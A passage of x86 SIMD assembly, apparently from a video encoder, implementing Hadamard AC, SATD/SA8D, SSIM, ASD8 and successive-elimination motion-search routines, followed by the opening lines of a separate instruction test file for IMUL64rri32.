add r2d, r5d
mov [r4+16], r2w
%if cpuflag(sse4)
phminposuw m0, m0
movd eax, m0
%else
; 8x8 sa8d is up to 15 bits; +bitcosts and saturate -> 15 bits; pack with 1 bit index
paddusw m0, m0
paddw m0, [off(pw_s00001111)]
movhlps m1, m0
pminsw m0, m1
pshuflw m1, m0, q0032
mova m2, m0
pminsw m0, m1
pcmpgtw m2, m1 ; 2nd index bit
movd r3d, m0
movd r4d, m2
; repack with 3 bit index
xor r3d, 0x80008000
and r4d, 0x00020002
movzx eax, r3w
movzx r5d, r4w
shr r3d, 16
shr r4d, 16
lea eax, [rax*4+r5]
lea r3d, [ r3*4+r4+1]
cmp eax, r3d
cmovg eax, r3d
; reverse to phminposuw order
mov r3d, eax
and eax, 7
shr r3d, 3
shl eax, 16
or eax, r3d
%endif
add r2d, 8<<16
cmp ax, r2w
cmovg eax, r2d
mov r2d, eax
shr r2d, 16
shl r2d, 6
add r1, 4*FDEC_STRIDE
mova m0, [pred_buf+r2+0x00]
mova m1, [pred_buf+r2+0x10]
mova m2, [pred_buf+r2+0x20]
mova m3, [pred_buf+r2+0x30]
movq [r1+FDEC_STRIDE*-4], m0
movhps [r1+FDEC_STRIDE*-2], m0
movq [r1+FDEC_STRIDE*-3], m1
movhps [r1+FDEC_STRIDE*-1], m1
movq [r1+FDEC_STRIDE* 0], m2
movhps [r1+FDEC_STRIDE* 2], m2
movq [r1+FDEC_STRIDE* 1], m3
movhps [r1+FDEC_STRIDE* 3], m3
ADD rsp, pad
RET
ALIGN 16
.sa8d:
%xdefine mret m0
%xdefine fenc_buf fenc_buf+gprsize
mova [r5+0x00], m0
mova [r5+0x10], m1
mova [r5+0x20], m2
mova [r5+0x30], m3
movddup m4, m0
movddup m5, m1
movddup m6, m2
movddup m7, m3
punpckhqdq m0, m0
punpckhqdq m1, m1
punpckhqdq m2, m2
punpckhqdq m3, m3
PERMUTE 0,4, 1,5, 2,0, 3,1, 4,6, 5,7, 6,2, 7,3
pmaddubsw m0, m15
pmaddubsw m1, m15
psubw m0, [fenc_buf+0x00]
psubw m1, [fenc_buf+0x10]
pmaddubsw m2, m15
pmaddubsw m3, m15
psubw m2, [fenc_buf+0x20]
psubw m3, [fenc_buf+0x30]
pmaddubsw m4, m15
pmaddubsw m5, m15
psubw m4, [fenc_buf+0x40]
psubw m5, [fenc_buf+0x50]
pmaddubsw m6, m15
pmaddubsw m7, m15
psubw m6, [fenc_buf+0x60]
psubw m7, [fenc_buf+0x70]
HADAMARD8_2D_HMUL 0, 1, 2, 3, 4, 5, 6, 7, 13, 14
paddw m0, m1
paddw m0, m2
paddw mret, m0, m3
ret
%endif ; ARCH_X86_64
%endmacro ; INTRA8_X9
; in: r0=pix, r1=stride, r2=stride*3, r3=tmp, m6=mask_ac4, m7=0
; out: [tmp]=hadamard4, m0=satd
INIT_MMX mmx2
cglobal hadamard_ac_4x4
%if HIGH_BIT_DEPTH
mova m0, [r0]
mova m1, [r0+r1]
mova m2, [r0+r1*2]
mova m3, [r0+r2]
%else ; !HIGH_BIT_DEPTH
movh m0, [r0]
movh m1, [r0+r1]
movh m2, [r0+r1*2]
movh m3, [r0+r2]
punpcklbw m0, m7
punpcklbw m1, m7
punpcklbw m2, m7
punpcklbw m3, m7
%endif ; HIGH_BIT_DEPTH
HADAMARD4_2D 0, 1, 2, 3, 4
mova [r3], m0
mova [r3+8], m1
mova [r3+16], m2
mova [r3+24], m3
ABSW m0, m0, m4
ABSW m1, m1, m4
pand m0, m6
ABSW m2, m2, m4
ABSW m3, m3, m4
paddw m0, m1
paddw m2, m3
paddw m0, m2
SAVE_MM_PERMUTATION
ret
cglobal hadamard_ac_2x2max
mova m0, [r3+0x00]
mova m1, [r3+0x20]
mova m2, [r3+0x40]
mova m3, [r3+0x60]
sub r3, 8
SUMSUB_BADC w, 0, 1, 2, 3, 4
ABSW2 m0, m2, m0, m2, m4, m5
ABSW2 m1, m3, m1, m3, m4, m5
HADAMARD 0, max, 0, 2, 4, 5
HADAMARD 0, max, 1, 3, 4, 5
%if HIGH_BIT_DEPTH
pmaddwd m0, m7
pmaddwd m1, m7
paddd m6, m0
paddd m6, m1
%else ; !HIGH_BIT_DEPTH
paddw m7, m0
paddw m7, m1
%endif ; HIGH_BIT_DEPTH
SAVE_MM_PERMUTATION
ret
%macro AC_PREP 2
%if HIGH_BIT_DEPTH
pmaddwd %1, %2
%endif
%endmacro
%macro AC_PADD 3
%if HIGH_BIT_DEPTH
AC_PREP %2, %3
paddd %1, %2
%else
paddw %1, %2
%endif ; HIGH_BIT_DEPTH
%endmacro
cglobal hadamard_ac_8x8
mova m6, [mask_ac4]
%if HIGH_BIT_DEPTH
mova m7, [pw_1]
%else
pxor m7, m7
%endif ; HIGH_BIT_DEPTH
call hadamard_ac_4x4_mmx2
add r0, 4*SIZEOF_PIXEL
add r3, 32
mova m5, m0
AC_PREP m5, m7
call hadamard_ac_4x4_mmx2
lea r0, [r0+4*r1]
add r3, 64
AC_PADD m5, m0, m7
call hadamard_ac_4x4_mmx2
sub r0, 4*SIZEOF_PIXEL
sub r3, 32
AC_PADD m5, m0, m7
call hadamard_ac_4x4_mmx2
AC_PADD m5, m0, m7
sub r3, 40
mova [rsp+gprsize+8], m5 ; save satd
%if HIGH_BIT_DEPTH
pxor m6, m6
%endif
%rep 3
call hadamard_ac_2x2max_mmx2
%endrep
mova m0, [r3+0x00]
mova m1, [r3+0x20]
mova m2, [r3+0x40]
mova m3, [r3+0x60]
SUMSUB_BADC w, 0, 1, 2, 3, 4
HADAMARD 0, sumsub, 0, 2, 4, 5
ABSW2 m1, m3, m1, m3, m4, m5
ABSW2 m0, m2, m0, m2, m4, m5
HADAMARD 0, max, 1, 3, 4, 5
%if HIGH_BIT_DEPTH
pand m0, [mask_ac4]
pmaddwd m1, m7
pmaddwd m0, m7
pmaddwd m2, m7
paddd m6, m1
paddd m0, m2
paddd m6, m6
paddd m0, m6
SWAP 0, 6
%else ; !HIGH_BIT_DEPTH
pand m6, m0
paddw m7, m1
paddw m6, m2
paddw m7, m7
paddw m6, m7
%endif ; HIGH_BIT_DEPTH
mova [rsp+gprsize], m6 ; save sa8d
SWAP 0, 6
SAVE_MM_PERMUTATION
ret
%macro HADAMARD_AC_WXH_SUM_MMX 2
mova m1, [rsp+1*mmsize]
%if HIGH_BIT_DEPTH
%if %1*%2 >= 128
paddd m0, [rsp+2*mmsize]
paddd m1, [rsp+3*mmsize]
%endif
%if %1*%2 == 256
mova m2, [rsp+4*mmsize]
paddd m1, [rsp+5*mmsize]
paddd m2, [rsp+6*mmsize]
mova m3, m0
paddd m1, [rsp+7*mmsize]
paddd m0, m2
%endif
psrld m0, 1
HADDD m0, m2
psrld m1, 1
HADDD m1, m3
%else ; !HIGH_BIT_DEPTH
%if %1*%2 >= 128
paddusw m0, [rsp+2*mmsize]
paddusw m1, [rsp+3*mmsize]
%endif
%if %1*%2 == 256
mova m2, [rsp+4*mmsize]
paddusw m1, [rsp+5*mmsize]
paddusw m2, [rsp+6*mmsize]
mova m3, m0
paddusw m1, [rsp+7*mmsize]
pxor m3, m2
pand m3, [pw_1]
pavgw m0, m2
psubusw m0, m3
HADDUW m0, m2
%else
psrlw m0, 1
HADDW m0, m2
%endif
psrlw m1, 1
HADDW m1, m3
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro HADAMARD_AC_WXH_MMX 2
cglobal pixel_hadamard_ac_%1x%2, 2,4
%assign pad 16-gprsize-(stack_offset&15)
%define ysub r1
FIX_STRIDES r1
sub rsp, 16+128+pad
lea r2, [r1*3]
lea r3, [rsp+16]
call hadamard_ac_8x8_mmx2
%if %2==16
%define ysub r2
lea r0, [r0+r1*4]
sub rsp, 16
call hadamard_ac_8x8_mmx2
%endif
%if %1==16
neg ysub
sub rsp, 16
lea r0, [r0+ysub*4+8*SIZEOF_PIXEL]
neg ysub
call hadamard_ac_8x8_mmx2
%if %2==16
lea r0, [r0+r1*4]
sub rsp, 16
call hadamard_ac_8x8_mmx2
%endif
%endif
HADAMARD_AC_WXH_SUM_MMX %1, %2
movd edx, m0
movd eax, m1
shr edx, 1
%if ARCH_X86_64
shl rdx, 32
add rax, rdx
%endif
add rsp, 128+%1*%2/4+pad
RET
%endmacro ; HADAMARD_AC_WXH_MMX
HADAMARD_AC_WXH_MMX 16, 16
HADAMARD_AC_WXH_MMX 8, 16
HADAMARD_AC_WXH_MMX 16, 8
HADAMARD_AC_WXH_MMX 8, 8
%macro LOAD_INC_8x4W_SSE2 5
%if HIGH_BIT_DEPTH
movu m%1, [r0]
movu m%2, [r0+r1]
movu m%3, [r0+r1*2]
movu m%4, [r0+r2]
%ifidn %1, 0
lea r0, [r0+r1*4]
%endif
%else ; !HIGH_BIT_DEPTH
movh m%1, [r0]
movh m%2, [r0+r1]
movh m%3, [r0+r1*2]
movh m%4, [r0+r2]
%ifidn %1, 0
lea r0, [r0+r1*4]
%endif
punpcklbw m%1, m%5
punpcklbw m%2, m%5
punpcklbw m%3, m%5
punpcklbw m%4, m%5
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro LOAD_INC_8x4W_SSSE3 5
LOAD_DUP_4x8P %3, %4, %1, %2, [r0+r1*2], [r0+r2], [r0], [r0+r1]
%ifidn %1, 0
lea r0, [r0+r1*4]
%endif
HSUMSUB %1, %2, %3, %4, %5
%endmacro
%macro HADAMARD_AC_SSE2 0
; in: r0=pix, r1=stride, r2=stride*3
; out: [esp+16]=sa8d, [esp+32]=satd, r0+=stride*4
cglobal hadamard_ac_8x8
%if ARCH_X86_64
%define spill0 m8
%define spill1 m9
%define spill2 m10
%else
%define spill0 [rsp+gprsize]
%define spill1 [rsp+gprsize+16]
%define spill2 [rsp+gprsize+32]
%endif
%if HIGH_BIT_DEPTH
%define vertical 1
%elif cpuflag(ssse3)
%define vertical 0
;LOAD_INC loads sumsubs
mova m7, [hmul_8p]
%else
%define vertical 1
;LOAD_INC only unpacks to words
pxor m7, m7
%endif
LOAD_INC_8x4W 0, 1, 2, 3, 7
%if vertical
HADAMARD4_2D_SSE 0, 1, 2, 3, 4
%else
HADAMARD4_V 0, 1, 2, 3, 4
%endif
mova spill0, m1
SWAP 1, 7
LOAD_INC_8x4W 4, 5, 6, 7, 1
%if vertical
HADAMARD4_2D_SSE 4, 5, 6, 7, 1
%else
HADAMARD4_V 4, 5, 6, 7, 1
; FIXME SWAP
mova m1, spill0
mova spill0, m6
mova spill1, m7
HADAMARD 1, sumsub, 0, 1, 6, 7
HADAMARD 1, sumsub, 2, 3, 6, 7
mova m6, spill0
mova m7, spill1
mova spill0, m1
mova spill1, m0
HADAMARD 1, sumsub, 4, 5, 1, 0
HADAMARD 1, sumsub, 6, 7, 1, 0
mova m0, spill1
%endif
mova spill1, m2
mova spill2, m3
ABSW m1, m0, m0
ABSW m2, m4, m4
ABSW m3, m5, m5
paddw m1, m2
SUMSUB_BA w, 0, 4
%if vertical
pand m1, [mask_ac4]
%else
pand m1, [mask_ac4b]
%endif
AC_PREP m1, [pw_1]
ABSW m2, spill0
AC_PADD m1, m3, [pw_1]
ABSW m3, spill1
AC_PADD m1, m2, [pw_1]
ABSW m2, spill2
AC_PADD m1, m3, [pw_1]
ABSW m3, m6, m6
AC_PADD m1, m2, [pw_1]
ABSW m2, m7, m7
AC_PADD m1, m3, [pw_1]
mova m3, m7
AC_PADD m1, m2, [pw_1]
mova m2, m6
psubw m7, spill2
paddw m3, spill2
mova [rsp+gprsize+32], m1 ; save satd
mova m1, m5
psubw m6, spill1
paddw m2, spill1
psubw m5, spill0
paddw m1, spill0
%assign %%x 2
%if vertical
%assign %%x 4
%endif
mova spill1, m4
HADAMARD %%x, amax, 3, 7, 4
HADAMARD %%x, amax, 2, 6, 7, 4
mova m4, spill1
HADAMARD %%x, amax, 1, 5, 6, 7
HADAMARD %%x, sumsub, 0, 4, 5, 6
AC_PREP m2, [pw_1]
AC_PADD m2, m3, [pw_1]
AC_PADD m2, m1, [pw_1]
%if HIGH_BIT_DEPTH
paddd m2, m2
%else
paddw m2, m2
%endif ; HIGH_BIT_DEPTH
ABSW m4, m4, m7
pand m0, [mask_ac8]
ABSW m0, m0, m7
AC_PADD m2, m4, [pw_1]
AC_PADD m2, m0, [pw_1]
mova [rsp+gprsize+16], m2 ; save sa8d
SWAP 0, 2
SAVE_MM_PERMUTATION
ret
HADAMARD_AC_WXH_SSE2 16, 16
HADAMARD_AC_WXH_SSE2 8, 16
HADAMARD_AC_WXH_SSE2 16, 8
HADAMARD_AC_WXH_SSE2 8, 8
%endmacro ; HADAMARD_AC_SSE2
%macro HADAMARD_AC_WXH_SUM_SSE2 2
mova m1, [rsp+2*mmsize]
%if HIGH_BIT_DEPTH
%if %1*%2 >= 128
paddd m0, [rsp+3*mmsize]
paddd m1, [rsp+4*mmsize]
%endif
%if %1*%2 == 256
paddd m0, [rsp+5*mmsize]
paddd m1, [rsp+6*mmsize]
paddd m0, [rsp+7*mmsize]
paddd m1, [rsp+8*mmsize]
psrld m0, 1
%endif
HADDD m0, m2
HADDD m1, m3
%else ; !HIGH_BIT_DEPTH
%if %1*%2 >= 128
paddusw m0, [rsp+3*mmsize]
paddusw m1, [rsp+4*mmsize]
%endif
%if %1*%2 == 256
paddusw m0, [rsp+5*mmsize]
paddusw m1, [rsp+6*mmsize]
paddusw m0, [rsp+7*mmsize]
paddusw m1, [rsp+8*mmsize]
psrlw m0, 1
%endif
HADDUW m0, m2
HADDW m1, m3
%endif ; HIGH_BIT_DEPTH
%endmacro
; struct { int satd, int sa8d; } pixel_hadamard_ac_16x16( uint8_t *pix, int stride )
%macro HADAMARD_AC_WXH_SSE2 2
cglobal pixel_hadamard_ac_%1x%2, 2,3,11
%assign pad 16-gprsize-(stack_offset&15)
%define ysub r1
FIX_STRIDES r1
sub rsp, 48+pad
lea r2, [r1*3]
call hadamard_ac_8x8
%if %2==16
%define ysub r2
lea r0, [r0+r1*4]
sub rsp, 32
call hadamard_ac_8x8
%endif
%if %1==16
neg ysub
sub rsp, 32
lea r0, [r0+ysub*4+8*SIZEOF_PIXEL]
neg ysub
call hadamard_ac_8x8
%if %2==16
lea r0, [r0+r1*4]
sub rsp, 32
call hadamard_ac_8x8
%endif
%endif
HADAMARD_AC_WXH_SUM_SSE2 %1, %2
movd edx, m0
movd eax, m1
shr edx, 2 - (%1*%2 >> 8)
shr eax, 1
%if ARCH_X86_64
shl rdx, 32
add rax, rdx
%endif
add rsp, 16+%1*%2/2+pad
RET
%endmacro ; HADAMARD_AC_WXH_SSE2
; instantiate satds
%if ARCH_X86_64 == 0
cextern pixel_sa8d_8x8_internal_mmx2
INIT_MMX mmx2
SA8D
%endif
%define TRANS TRANS_SSE2
%define DIFFOP DIFF_UNPACK_SSE2
%define LOAD_INC_8x4W LOAD_INC_8x4W_SSE2
%define LOAD_SUMSUB_8x4P LOAD_DIFF_8x4P
%define LOAD_SUMSUB_16P LOAD_SUMSUB_16P_SSE2
%define movdqa movaps ; doesn't hurt pre-nehalem, might as well save size
%define movdqu movups
%define punpcklqdq movlhps
INIT_XMM sse2
SA8D
SATDS_SSE2
%if HIGH_BIT_DEPTH == 0
INTRA_SA8D_SSE2
%endif
INIT_MMX mmx2
INTRA_X3_MMX
INIT_XMM sse2
HADAMARD_AC_SSE2
%define DIFFOP DIFF_SUMSUB_SSSE3
%define LOAD_DUP_4x8P LOAD_DUP_4x8P_CONROE
%if HIGH_BIT_DEPTH == 0
%define LOAD_INC_8x4W LOAD_INC_8x4W_SSSE3
%define LOAD_SUMSUB_8x4P LOAD_SUMSUB_8x4P_SSSE3
%define LOAD_SUMSUB_16P LOAD_SUMSUB_16P_SSSE3
%endif
INIT_XMM ssse3
SATDS_SSE2
SA8D
HADAMARD_AC_SSE2
%if HIGH_BIT_DEPTH == 0
INTRA_X9
INTRA8_X9
%endif
%undef movdqa ; nehalem doesn't like movaps
%undef movdqu ; movups
%undef punpcklqdq ; or movlhps
%if HIGH_BIT_DEPTH == 0
INIT_MMX ssse3
INTRA_X3_MMX
%endif
%define TRANS TRANS_SSE4
%define LOAD_DUP_4x8P LOAD_DUP_4x8P_PENRYN
INIT_XMM sse4
SATDS_SSE2
SA8D
HADAMARD_AC_SSE2
%if HIGH_BIT_DEPTH == 0
INTRA_X9
INTRA8_X9
%endif
INIT_XMM avx
SATDS_SSE2
SA8D
%if HIGH_BIT_DEPTH == 0
INTRA_X9
INTRA8_X9
%endif
HADAMARD_AC_SSE2
%define TRANS TRANS_XOP
INIT_XMM xop
SATDS_SSE2
SA8D
%if HIGH_BIT_DEPTH == 0
INTRA_X9
; no xop INTRA8_X9. it's slower than avx on bulldozer. dunno why.
%endif
HADAMARD_AC_SSE2
;=============================================================================
; SSIM
;=============================================================================
;-----------------------------------------------------------------------------
; void pixel_ssim_4x4x2_core( const uint8_t *pix1, intptr_t stride1,
; const uint8_t *pix2, intptr_t stride2, int sums[2][4] )
;-----------------------------------------------------------------------------
%macro SSIM_ITER 1
%if HIGH_BIT_DEPTH
movdqu m5, [r0+(%1&1)*r1]
movdqu m6, [r2+(%1&1)*r3]
%else
movq m5, [r0+(%1&1)*r1]
movq m6, [r2+(%1&1)*r3]
punpcklbw m5, m0
punpcklbw m6, m0
%endif
%if %1==1
lea r0, [r0+r1*2]
lea r2, [r2+r3*2]
%endif
%if %1==0
movdqa m1, m5
movdqa m2, m6
%else
paddw m1, m5
paddw m2, m6
%endif
pmaddwd m7, m5, m6
pmaddwd m5, m5
pmaddwd m6, m6
ACCUM paddd, 3, 5, %1
ACCUM paddd, 4, 7, %1
paddd m3, m6
%endmacro
%macro SSIM 0
cglobal pixel_ssim_4x4x2_core, 4,4,8
FIX_STRIDES r1, r3
pxor m0, m0
SSIM_ITER 0
SSIM_ITER 1
SSIM_ITER 2
SSIM_ITER 3
; PHADDW m1, m2
; PHADDD m3, m4
movdqa m7, [pw_1]
pshufd m5, m3, q2301
pmaddwd m1, m7
pmaddwd m2, m7
pshufd m6, m4, q2301
packssdw m1, m2
paddd m3, m5
pshufd m1, m1, q3120
paddd m4, m6
pmaddwd m1, m7
punpckhdq m5, m3, m4
punpckldq m3, m4
%if UNIX64
%define t0 r4
%else
%define t0 rax
mov t0, r4mp
%endif
movq [t0+ 0], m1
movq [t0+ 8], m3
movhps [t0+16], m1
movq [t0+24], m5
RET
;-----------------------------------------------------------------------------
; float pixel_ssim_end( int sum0[5][4], int sum1[5][4], int width )
;-----------------------------------------------------------------------------
cglobal pixel_ssim_end4, 3,3,7
movdqa m0, [r0+ 0]
movdqa m1, [r0+16]
movdqa m2, [r0+32]
movdqa m3, [r0+48]
movdqa m4, [r0+64]
paddd m0, [r1+ 0]
paddd m1, [r1+16]
paddd m2, [r1+32]
paddd m3, [r1+48]
paddd m4, [r1+64]
paddd m0, m1
paddd m1, m2
paddd m2, m3
paddd m3, m4
movdqa m5, [ssim_c1]
movdqa m6, [ssim_c2]
TRANSPOSE4x4D 0, 1, 2, 3, 4
; s1=m0, s2=m1, ss=m2, s12=m3
%if BIT_DEPTH == 10
cvtdq2ps m0, m0
cvtdq2ps m1, m1
cvtdq2ps m2, m2
cvtdq2ps m3, m3
mulps m2, [pf_64] ; ss*64
mulps m3, [pf_128] ; s12*128
movdqa m4, m1
mulps m4, m0 ; s1*s2
mulps m1, m1 ; s2*s2
mulps m0, m0 ; s1*s1
addps m4, m4 ; s1*s2*2
addps m0, m1 ; s1*s1 + s2*s2
subps m2, m0 ; vars
subps m3, m4 ; covar*2
addps m4, m5 ; s1*s2*2 + ssim_c1
addps m0, m5 ; s1*s1 + s2*s2 + ssim_c1
addps m2, m6 ; vars + ssim_c2
addps m3, m6 ; covar*2 + ssim_c2
%else
pmaddwd m4, m1, m0 ; s1*s2
pslld m1, 16
por m0, m1
pmaddwd m0, m0 ; s1*s1 + s2*s2
pslld m4, 1
pslld m3, 7
pslld m2, 6
psubd m3, m4 ; covar*2
psubd m2, m0 ; vars
paddd m0, m5
paddd m4, m5
paddd m3, m6
paddd m2, m6
cvtdq2ps m0, m0 ; (float)(s1*s1 + s2*s2 + ssim_c1)
cvtdq2ps m4, m4 ; (float)(s1*s2*2 + ssim_c1)
cvtdq2ps m3, m3 ; (float)(covar*2 + ssim_c2)
cvtdq2ps m2, m2 ; (float)(vars + ssim_c2)
%endif
mulps m4, m3
mulps m0, m2
divps m4, m0 ; ssim
cmp r2d, 4
je .skip ; faster only if this is the common case; remove branch if we use ssim on a macroblock level
neg r2
%ifdef PIC
lea r3, [mask_ff + 16]
movdqu m1, [r3 + r2*4]
%else
movdqu m1, [mask_ff + r2*4 + 16]
%endif
pand m4, m1
.skip:
movhlps m0, m4
addps m0, m4
pshuflw m4, m0, q0032
addss m0, m4
%if ARCH_X86_64 == 0
movd r0m, m0
fld dword r0m
%endif
RET
%endmacro ; SSIM
INIT_XMM sse2
SSIM
INIT_XMM avx
SSIM
;-----------------------------------------------------------------------------
; int pixel_asd8( pixel *pix1, intptr_t stride1, pixel *pix2, intptr_t stride2, int height );
;-----------------------------------------------------------------------------
%macro ASD8 0
cglobal pixel_asd8, 5,5
pxor m0, m0
pxor m1, m1
.loop:
%if HIGH_BIT_DEPTH
paddw m0, [r0]
paddw m1, [r2]
paddw m0, [r0+2*r1]
paddw m1, [r2+2*r3]
lea r0, [r0+4*r1]
paddw m0, [r0]
paddw m1, [r2+4*r3]
lea r2, [r2+4*r3]
paddw m0, [r0+2*r1]
paddw m1, [r2+2*r3]
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
%else
movq m2, [r0]
movq m3, [r2]
movhps m2, [r0+r1]
movhps m3, [r2+r3]
lea r0, [r0+2*r1]
psadbw m2, m1
psadbw m3, m1
movq m4, [r0]
movq m5, [r2+2*r3]
lea r2, [r2+2*r3]
movhps m4, [r0+r1]
movhps m5, [r2+r3]
lea r0, [r0+2*r1]
paddw m0, m2
psubw m0, m3
psadbw m4, m1
psadbw m5, m1
lea r2, [r2+2*r3]
paddw m0, m4
psubw m0, m5
%endif
sub r4d, 4
jg .loop
%if HIGH_BIT_DEPTH
psubw m0, m1
HADDW m0, m1
ABSD m1, m0
%else
movhlps m1, m0
paddw m0, m1
ABSW m1, m0
%endif
movd eax, m1
RET
%endmacro
INIT_XMM sse2
ASD8
INIT_XMM ssse3
ASD8
%if HIGH_BIT_DEPTH
INIT_XMM xop
ASD8
%endif
;=============================================================================
; Successive Elimination ADS
;=============================================================================
%macro ADS_START 0
%if UNIX64
movsxd r5, r5d
%else
mov r5d, r5m
%endif
mov r0d, r5d
lea r6, [r4+r5+15]
and r6, ~15;
shl r2d, 1
%endmacro
%macro ADS_END 1 ; unroll_size
add r1, 8*%1
add r3, 8*%1
add r6, 4*%1
sub r0d, 4*%1
jg .loop
WIN64_RESTORE_XMM rsp
jmp ads_mvs
%endmacro
;-----------------------------------------------------------------------------
; int pixel_ads4( int enc_dc[4], uint16_t *sums, int delta,
; uint16_t *cost_mvx, int16_t *mvs, int width, int thresh )
;-----------------------------------------------------------------------------
INIT_MMX mmx2
cglobal pixel_ads4, 5,7
movq mm6, [r0]
movq mm4, [r0+8]
pshufw mm7, mm6, 0
pshufw mm6, mm6, q2222
pshufw mm5, mm4, 0
pshufw mm4, mm4, q2222
ADS_START
.loop:
movq mm0, [r1]
movq mm1, [r1+16]
psubw mm0, mm7
psubw mm1, mm6
ABSW mm0, mm0, mm2
ABSW mm1, mm1, mm3
movq mm2, [r1+r2]
movq mm3, [r1+r2+16]
psubw mm2, mm5
psubw mm3, mm4
paddw mm0, mm1
ABSW mm2, mm2, mm1
ABSW mm3, mm3, mm1
paddw mm0, mm2
paddw mm0, mm3
pshufw mm1, r6m, 0
paddusw mm0, [r3]
psubusw mm1, mm0
packsswb mm1, mm1
movd [r6], mm1
ADS_END 1
cglobal pixel_ads2, 5,7
movq mm6, [r0]
pshufw mm5, r6m, 0
pshufw mm7, mm6, 0
pshufw mm6, mm6, q2222
ADS_START
.loop:
movq mm0, [r1]
movq mm1, [r1+r2]
psubw mm0, mm7
psubw mm1, mm6
ABSW mm0, mm0, mm2
ABSW mm1, mm1, mm3
paddw mm0, mm1
paddusw mm0, [r3]
movq mm4, mm5
psubusw mm4, mm0
packsswb mm4, mm4
movd [r6], mm4
ADS_END 1
cglobal pixel_ads1, 5,7
pshufw mm7, [r0], 0
pshufw mm6, r6m, 0
ADS_START
.loop:
movq mm0, [r1]
movq mm1, [r1+8]
psubw mm0, mm7
psubw mm1, mm7
ABSW mm0, mm0, mm2
ABSW mm1, mm1, mm3
paddusw mm0, [r3]
paddusw mm1, [r3+8]
movq mm4, mm6
movq mm5, mm6
psubusw mm4, mm0
psubusw mm5, mm1
packsswb mm4, mm5
movq [r6], mm4
ADS_END 2
%macro ADS_XMM 0
cglobal pixel_ads4, 5,7,12
movdqa xmm4, [r0]
pshuflw xmm7, xmm4, 0
pshuflw xmm6, xmm4, q2222
pshufhw xmm5, xmm4, 0
pshufhw xmm4, xmm4, q2222
punpcklqdq xmm7, xmm7
punpcklqdq xmm6, xmm6
punpckhqdq xmm5, xmm5
punpckhqdq xmm4, xmm4
%if ARCH_X86_64
pshuflw xmm8, r6m, 0
punpcklqdq xmm8, xmm8
ADS_START
movdqu xmm10, [r1]
movdqu xmm11, [r1+r2]
.loop:
psubw xmm0, xmm10, xmm7
movdqu xmm10, [r1+16]
psubw xmm1, xmm10, xmm6
ABSW xmm0, xmm0, xmm2
ABSW xmm1, xmm1, xmm3
psubw xmm2, xmm11, xmm5
movdqu xmm11, [r1+r2+16]
paddw xmm0, xmm1
psubw xmm3, xmm11, xmm4
movdqu xmm9, [r3]
ABSW xmm2, xmm2, xmm1
ABSW xmm3, xmm3, xmm1
paddw xmm0, xmm2
paddw xmm0, xmm3
paddusw xmm0, xmm9
psubusw xmm1, xmm8, xmm0
packsswb xmm1, xmm1
movq [r6], xmm1
%else
ADS_START
.loop:
movdqu xmm0, [r1]
movdqu xmm1, [r1+16]
psubw xmm0, xmm7
psubw xmm1, xmm6
ABSW xmm0, xmm0, xmm2
ABSW xmm1, xmm1, xmm3
movdqu xmm2, [r1+r2]
movdqu xmm3, [r1+r2+16]
psubw xmm2, xmm5
psubw xmm3, xmm4
paddw xmm0, xmm1
ABSW xmm2, xmm2, xmm1
ABSW xmm3, xmm3, xmm1
paddw xmm0, xmm2
paddw xmm0, xmm3
movd xmm1, r6m
movdqu xmm2, [r3]
pshuflw xmm1, xmm1, 0
punpcklqdq xmm1, xmm1
paddusw xmm0, xmm2
psubusw xmm1, xmm0
packsswb xmm1, xmm1
movq [r6], xmm1
%endif ; ARCH
ADS_END 2
cglobal pixel_ads2, 5,7,8
movq xmm6, [r0]
movd xmm5, r6m
pshuflw xmm7, xmm6, 0
pshuflw xmm6, xmm6, q2222
pshuflw xmm5, xmm5, 0
punpcklqdq xmm7, xmm7
punpcklqdq xmm6, xmm6
punpcklqdq xmm5, xmm5
ADS_START
.loop:
movdqu xmm0, [r1]
movdqu xmm1, [r1+r2]
psubw xmm0, xmm7
psubw xmm1, xmm6
movdqu xmm4, [r3]
ABSW xmm0, xmm0, xmm2
ABSW xmm1, xmm1, xmm3
paddw xmm0, xmm1
paddusw xmm0, xmm4
psubusw xmm1, xmm5, xmm0
packsswb xmm1, xmm1
movq [r6], xmm1
ADS_END 2
cglobal pixel_ads1, 5,7,8
movd xmm7, [r0]
movd xmm6, r6m
pshuflw xmm7, xmm7, 0
pshuflw xmm6, xmm6, 0
punpcklqdq xmm7, xmm7
punpcklqdq xmm6, xmm6
ADS_START
.loop:
movdqu xmm0, [r1]
movdqu xmm1, [r1+16]
psubw xmm0, xmm7
psubw xmm1, xmm7
movdqu xmm2, [r3]
movdqu xmm3, [r3+16]
ABSW xmm0, xmm0, xmm4
ABSW xmm1, xmm1, xmm5
paddusw xmm0, xmm2
paddusw xmm1, xmm3
psubusw xmm4, xmm6, xmm0
psubusw xmm5, xmm6, xmm1
packsswb xmm4, xmm5
movdqa [r6], xmm4
ADS_END 4
%endmacro
INIT_XMM sse2
ADS_XMM
INIT_XMM ssse3
ADS_XMM
INIT_XMM avx
ADS_XMM
; int pixel_ads_mvs( int16_t *mvs, uint8_t *masks, int width )
; {
; int nmv=0, i, j;
; *(uint32_t*)(masks+width) = 0;
; for( i=0; i<width; i+=8 )
; {
; uint64_t mask = *(uint64_t*)(masks+i);
; if( !mask ) continue;
; for( j=0; j<8; j++ )
; if( mask & (255<<j*8) )
; mvs[nmv++] = i+j;
; }
; return nmv;
; }
%macro TEST 1
mov [r4+r0*2], r1w
test r2d, 0xff<<(%1*8)
setne r3b
add r0d, r3d
inc r1d
%endmacro
INIT_MMX
cglobal pixel_ads_mvs, 0,7,0
ads_mvs:
lea r6, [r4+r5+15]
and r6, ~15;
; mvs = r4
; masks = r6
; width = r5
; clear last block in case width isn't divisible by 8. (assume divisible by 4, so clearing 4 bytes is enough.)
xor r0d, r0d
xor r1d, r1d
mov [r6+r5], r0d
jmp .loopi
ALIGN 16
.loopi0:
add r1d, 8
cmp r1d, r5d
jge .end
.loopi:
mov r2, [r6+r1]
%if ARCH_X86_64
test r2, r2
%else
mov r3, r2
add r3d, [r6+r1+4]
%endif
jz .loopi0
xor r3d, r3d
TEST 0
TEST 1
TEST 2
TEST 3
%if ARCH_X86_64
shr r2, 32
%else
mov r2d, [r6+r1]
%endif
TEST 0
TEST 1
TEST 2
TEST 3
cmp r1d, r5d
jl .loopi
.end:
movifnidn eax, r0d
RET
|
BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_SF|FLAG_ZF|FLAG_AF|FLAG_PF
;TEST_FILE_META_END
; IMUL64rri32
mov ebx, 0x20000
